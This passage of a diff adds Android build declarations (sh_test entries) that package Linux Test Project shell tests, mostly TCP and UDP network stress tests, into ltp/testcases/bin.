+    name: "ltp_testcases_bin_tcp6-uni-dsackoff06",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-dsackoff06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-dsackoff07",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-dsackoff07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-dsackoff08",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff08",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-dsackoff08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-dsackoff09",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff09",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-dsackoff09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-dsackoff10",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff10",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-dsackoff10",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-dsackoff11",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff11",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-dsackoff11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-dsackoff12",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff12",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-dsackoff12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-dsackoff13",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff13",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-dsackoff13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-dsackoff14",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff14",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-dsackoff14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-pktlossdup01",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-pktlossdup01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-pktlossdup02",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-pktlossdup02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-pktlossdup03",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-pktlossdup03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-pktlossdup04",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-pktlossdup04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-pktlossdup05",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-pktlossdup05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-pktlossdup06",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-pktlossdup06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-pktlossdup07",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-pktlossdup07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-pktlossdup08",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup08",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-pktlossdup08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-pktlossdup09",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup09",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-pktlossdup09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-pktlossdup10",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup10",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-pktlossdup10",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-pktlossdup11",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup11",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-pktlossdup11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-pktlossdup12",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup12",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-pktlossdup12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-pktlossdup13",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup13",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-pktlossdup13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-pktlossdup14",
+    src: "testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup14",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-pktlossdup14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-sackoff01",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-sackoff01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-sackoff02",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-sackoff02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-sackoff03",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-sackoff03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-sackoff04",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-sackoff04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-sackoff05",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-sackoff05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-sackoff06",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-sackoff06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-sackoff07",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-sackoff07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-sackoff08",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff08",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-sackoff08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-sackoff09",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff09",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-sackoff09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-sackoff10",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff10",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-sackoff10",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-sackoff11",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff11",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-sackoff11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-sackoff12",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff12",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-sackoff12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-sackoff13",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff13",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-sackoff13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-sackoff14",
+    src: "testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff14",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-sackoff14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-smallsend01",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-smallsend01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-smallsend02",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-smallsend02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-smallsend03",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-smallsend03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-smallsend04",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-smallsend04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-smallsend05",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-smallsend05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-smallsend06",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-smallsend06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-smallsend07",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-smallsend07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-smallsend08",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend08",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-smallsend08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-smallsend09",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend09",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-smallsend09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-smallsend10",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend10",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-smallsend10",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-smallsend11",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend11",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-smallsend11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-smallsend12",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend12",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-smallsend12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-smallsend13",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend13",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-smallsend13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-smallsend14",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend14",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-smallsend14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-tso01",
+    src: "testcases/network/stress/tcp/uni-tso/tcp6-uni-tso01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-tso01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-tso02",
+    src: "testcases/network/stress/tcp/uni-tso/tcp6-uni-tso02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-tso02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-tso03",
+    src: "testcases/network/stress/tcp/uni-tso/tcp6-uni-tso03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-tso03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-tso04",
+    src: "testcases/network/stress/tcp/uni-tso/tcp6-uni-tso04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-tso04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-tso05",
+    src: "testcases/network/stress/tcp/uni-tso/tcp6-uni-tso05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-tso05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-tso06",
+    src: "testcases/network/stress/tcp/uni-tso/tcp6-uni-tso06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-tso06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-tso07",
+    src: "testcases/network/stress/tcp/uni-tso/tcp6-uni-tso07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-tso07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-tso08",
+    src: "testcases/network/stress/tcp/uni-tso/tcp6-uni-tso08",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-tso08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-tso09",
+    src: "testcases/network/stress/tcp/uni-tso/tcp6-uni-tso09",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-tso09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-tso10",
+    src: "testcases/network/stress/tcp/uni-tso/tcp6-uni-tso10",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-tso10",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-tso11",
+    src: "testcases/network/stress/tcp/uni-tso/tcp6-uni-tso11",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-tso11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-tso12",
+    src: "testcases/network/stress/tcp/uni-tso/tcp6-uni-tso12",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-tso12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-tso13",
+    src: "testcases/network/stress/tcp/uni-tso/tcp6-uni-tso13",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-tso13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-tso14",
+    src: "testcases/network/stress/tcp/uni-tso/tcp6-uni-tso14",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-tso14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-winscale01",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-winscale01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-winscale02",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-winscale02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-winscale03",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-winscale03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-winscale04",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-winscale04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-winscale05",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-winscale05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-winscale06",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-winscale06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-winscale07",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-winscale07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-winscale08",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale08",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-winscale08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-winscale09",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale09",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-winscale09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-winscale10",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale10",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-winscale10",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-winscale11",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale11",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-winscale11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-winscale12",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale12",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-winscale12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-winscale13",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale13",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-winscale13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-winscale14",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale14",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-winscale14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp_cc_lib.sh",
+    src: "testcases/network/tcp_cc/tcp_cc_lib.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp_cc_lib.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp_fastopen_run.sh",
+    src: "testcases/network/tcp_fastopen/tcp_fastopen_run.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp_fastopen_run.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp_ipsec.sh",
+    src: "testcases/network/stress/tcp/tcp_ipsec.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp_ipsec.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp_ipsec_vti.sh",
+    src: "testcases/network/stress/tcp/tcp_ipsec_vti.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp_ipsec_vti.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcpdump01",
+    src: "testcases/network/tcp_cmds/tcpdump/tcpdump01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcpdump01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_telnet01",
+    src: "testcases/network/tcp_cmds/telnet/telnet01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "telnet01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_test.sh",
+    src: "testcases/lib/test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_test_controllers.sh",
+    src: "testcases/kernel/controllers/test_controllers.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "test_controllers.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_test_ioctl",
+    src: "testcases/kernel/syscalls/ioctl/test_ioctl",
+    sub_dir: "ltp/testcases/bin",
+    filename: "test_ioctl",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_test_robind.sh",
+    src: "testcases/kernel/fs/fs_readonly/test_robind.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "test_robind.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_testall.sh",
+    src: "testcases/kernel/security/tomoyo/testall.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "testall.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tracepath01.sh",
+    src: "testcases/network/tcp_cmds/tracepath/tracepath01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tracepath01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_traceroute01.sh",
+    src: "testcases/network/traceroute/traceroute01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "traceroute01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tst_ansi_color.sh",
+    src: "testcases/lib/tst_ansi_color.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tst_ansi_color.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tst_net.sh",
+    src: "testcases/lib/tst_net.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tst_net.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tst_net_stress.sh",
+    src: "testcases/network/stress/ns-tools/tst_net_stress.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tst_net_stress.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tst_test.sh",
+    src: "testcases/lib/tst_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tst_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-multi-diffip01",
+    src: "testcases/network/stress/udp/multi-diffip/udp4-multi-diffip01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-multi-diffip01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-multi-diffip02",
+    src: "testcases/network/stress/udp/multi-diffip/udp4-multi-diffip02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-multi-diffip02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-multi-diffip03",
+    src: "testcases/network/stress/udp/multi-diffip/udp4-multi-diffip03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-multi-diffip03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-multi-diffip04",
+    src: "testcases/network/stress/udp/multi-diffip/udp4-multi-diffip04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-multi-diffip04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-multi-diffip05",
+    src: "testcases/network/stress/udp/multi-diffip/udp4-multi-diffip05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-multi-diffip05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-multi-diffip06",
+    src: "testcases/network/stress/udp/multi-diffip/udp4-multi-diffip06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-multi-diffip06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-multi-diffip07",
+    src: "testcases/network/stress/udp/multi-diffip/udp4-multi-diffip07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-multi-diffip07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-multi-diffnic01",
+    src: "testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-multi-diffnic01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-multi-diffnic02",
+    src: "testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-multi-diffnic02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-multi-diffnic03",
+    src: "testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-multi-diffnic03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-multi-diffnic04",
+    src: "testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-multi-diffnic04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-multi-diffnic05",
+    src: "testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-multi-diffnic05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-multi-diffnic06",
+    src: "testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-multi-diffnic06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-multi-diffnic07",
+    src: "testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-multi-diffnic07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-multi-diffport01",
+    src: "testcases/network/stress/udp/multi-diffport/udp4-multi-diffport01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "udp4-multi-diffport01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_udp4-multi-diffport02",
